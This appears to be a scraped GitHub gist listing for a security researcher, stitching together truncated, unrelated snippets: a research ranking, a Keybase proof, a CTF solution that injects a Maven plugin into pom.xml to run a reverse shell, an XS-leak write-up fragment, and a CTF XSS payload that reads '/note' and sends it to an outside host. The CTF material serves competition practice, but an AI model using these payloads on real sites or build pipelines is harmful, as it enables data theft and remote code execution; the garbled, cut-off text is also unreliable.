s1r1us msrkp

The criteria I used to rank:

The level of complexity of the research. (How hard for me to do the same research?)
The usefulness of the research to other security researchers.
Novelty, scale of exploitation and impact

Top candidates

Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

Keybase proof

I hereby claim:

I am msrkp on github.
I am s1r1us (https://keybase.io/s1r1us) on keybase.
I have a public key whose fingerprint is 00AD 378C CEB2 0955 8E61 4EED 5386 F2DB 6741 F532

To claim this, I am signing this object:

code_review solution

Add comment in text node of plugin configuration in pom.xml file. This comment will add new plugin and executes reverse shell

<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>2.22.2</version>
                <configuration> // <forkedProcessTimeoutInSeconds>30</forkedProcessTimeoutInSeconds></configuration></plugin>
 <plugin>
                <groupId>org.codehaus.mojo</groupId>

XS-leaks while download in headless-chrome.

TL;DR

There is a feature to search the note and a download option, so visiting the following page http://34.84.72.167/search?q=LINECTF{&download downloads a json file if the param value of q exists in notes.

Download doesn't work in headless chrome, so it throws an error.

oracle

  page.goto(url).then(() => {

	<!DOCTYPE html>
	<html>
	<head>

	<script>
	x= `
	<iframe name=x title='fetch("/note").then(x=>x.text()).then(x=>top.location="//ctf.s1r1us.ninja?html="+btoa(encodeURIComponent(x)))' id=y srcdoc='<script><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.nonce=top.document.body.lastElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nonce.valueOf ><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.nonce=top.x.nonce.valueOf ><\/script>'></iframe>
	<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.innerHTML=top.y.title.valueOf ><\/script>'></iframe>